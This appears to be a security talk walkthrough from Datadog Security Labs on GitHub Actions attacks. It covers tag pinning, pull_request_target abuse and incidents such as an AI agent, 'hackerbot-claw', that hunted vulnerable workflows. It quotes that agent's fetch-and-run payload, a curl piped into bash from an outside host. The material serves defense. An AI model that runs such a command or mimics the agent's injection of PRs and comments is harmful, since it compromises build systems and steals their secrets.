Talk Overview
From Mutable Tag to Breach
GitHub Actions runs third-party code next to your secrets. This walkthrough follows the talk: how that trust gets abused, three attacks that abused it, and what to change on Monday.
Breaking Down the Terminology
Why @v2 Isn't a Version
- Tags move. Anyone with write access to the action's repo can point the tag at new code. Your workflow follows it silently.
- You can't answer "what ran?" No pinned hash means no record of the code that touched your secrets last Tuesday.
- Updates arrive without review. A maintainer change, a compromised account, a new transitive dependency, all shipped straight into your runner.
# the less secure way: pinning to a tag
uses: tholander/actions-comment-pull-request@v2
# the more secure way: pinning to a commit SHA
uses: tholander/actions-comment-pull-request@b07c7f86be67002023e6cb13f57df3f21cdd3411
Common Workflow Attacks
Risk comes from two places: the code you call on (third-party actions) and the code you wrote (your own workflows). Each needs its own fix.
A workflow triggered by pull_request_target checks out the fork's code but runs with the base repo's secrets and write token.
A workflow passes data through shell commands, often unvalidated and open to remote code execution.
A maintainer token or publishing credential is stolen, and the trusted action itself starts shipping malicious releases.
s1ngularity: A PR Title That Published npm Packages
pull_request_target and returned a GITHUB_TOKEN.
pull_request_target whenever possible. If you have to use it, do not execute code from the PR.
hackerbot-claw: An AI Agent Hunting Workflows
An AI agent built to exploit GitHub Actions and LLM-powered workflows. It claimed to run on Anthropic's Opus 4.5 and targeted open source projects through malicious pull requests, issues, and comments between February 27 and March 2, 2026.
Same payload, different injection locations.
curl -sSfL hackmoltrepeat.com/molt | bash
When it came for Datadog
datadog-iac-scanner.
Lessons learned
- Assume public workflows will be continuously tested.
- Treat all external content as untrusted.
- Minimize the access.
- Pair prevention with detection.
Trivy and KICS via TeamPCP
pull_request_target whenever possible. Seriously, people.
The Denials
The Alternatives
Fix Your Triggers, Pin Your Dependencies, Scan the Config
Handling Actions Versions
Pro: you choose exactly what version to use.
Con: tedious to keep current (without Dependabot), and it doesn't pin the action's own actions.
Pro: a lockfile covering direct and transitive actions.
Con: still in preview.
Let Tooling Read Every Workflow You Won't
IaC and CI/CD security rules parse your workflow files and flag dangerous patterns as policy violations, right in the pull request.
write-all tokens, missing top-level permissions.
run: steps and script arguments.
Where this works, and where it doesn't
uses:, a bad trigger, an over-broad token, a raw interpolation in a shell step. High signal, low argument, fixable in one PR.
uses:. Docker-based actions pull mutable image tags. And an "immutable release" badge doesn't stop a tag being force-pushed.
GitHub Is Making Changes
actions/checkoutprevents checking out untrusted code from forks- New policies limit who triggers risky actions and which triggers are permitted
- Actions cache is read-only for untrusted triggers
- New Actions network firewall (preview) logs all outbound traffic to detect malicious behavior
- Dependabot has a default dependency cooldown of 3 days
- Potentially malicious workflows are held for approval
- Workflow-level dependency locking
- Immutable releases
- Self-service credential revocation
- Expanded credential revocation API support
What to Do on Monday
A workflow is as dangerous as code.
Review it and audit it like code.
Datadog Security Labs publishes original security research, threat intelligence, and in-depth technical analysis.